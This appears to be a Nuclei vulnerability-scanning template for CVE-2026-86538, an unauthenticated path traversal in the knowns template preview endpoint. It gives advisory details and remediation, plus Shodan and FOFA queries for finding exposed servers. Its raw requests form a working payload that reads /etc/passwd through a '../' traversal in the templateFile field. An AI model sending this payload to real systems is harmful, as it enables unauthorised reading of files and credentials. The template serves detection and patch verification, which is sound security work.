Copy
id: CVE-2026-86538
info:
name: knowns <= 0.29.1 - Unauthenticated Arbitrary File Read via Template Preview Path Traversal
author: maulanawirawan
severity: high
description: |
Knowns versions through 0.29.1 allow unauthenticated file reads through the template preview endpoint when no server password is configured. The templateFile parameter is joined to a template directory without a path containment check, allowing traversal outside that directory; version 0.30.0 rejects such paths.
impact: |
An unauthenticated attacker can read files accessible to the Knowns server process, including configuration files and credentials.
remediation: |
Upgrade Knowns to version 0.30.0 or later, configure a server password, and restrict access to the web interface.
reference:
- https://github.com/knowns-dev/knowns/security/advisories/GHSA-fpxv-c555-rhm3
- https://github.com/knowns-dev/knowns/commit/09c5a96fd5817b941dc86669278c1a17db10ed4e
- https://github.com/knowns-dev/knowns/releases/tag/v0.30.0
- https://www.vulncheck.com/advisories/knowns-before-0.30.0-path-traversal-via-templatefile-parameter
- https://nvd.nist.gov/vuln/detail/CVE-2026-86538
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-86538
epss-score: 0.02803
epss-percentile: 0.87221
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
vendor: knowns-dev
product: knowns
shodan-query: 'http.title:"Knowns"'
fofa-query: 'title="Knowns"'
tags: cve,cve2026,knowns,path-traversal,lfi,unauth,vkev
http:
- raw:
- |
GET /api/templates HTTP/1.1
Host: {{Hostname}}
- |
POST /api/templates/preview HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{tname}}","templateFile":"../../../../../../../../../../../etc/passwd"}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- regex('"content"\\s*:\\s*"[^"]*?root:[^:"]*:0:0:', body_2)
condition: and
extractors:
- type: regex
part: body_1
internal: true
name: tname
group: 1
regex:
- '"name"\s*:\s*"([^"]+)"'
# digest: 4a0a00473045022100b1ca987c851ffa9618a07fa6fdd7817e8e03db63074348284b418cd7090810210220581218aef52023ee5537452593de3068a98b8884e089f4d7d8516329288d6262:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.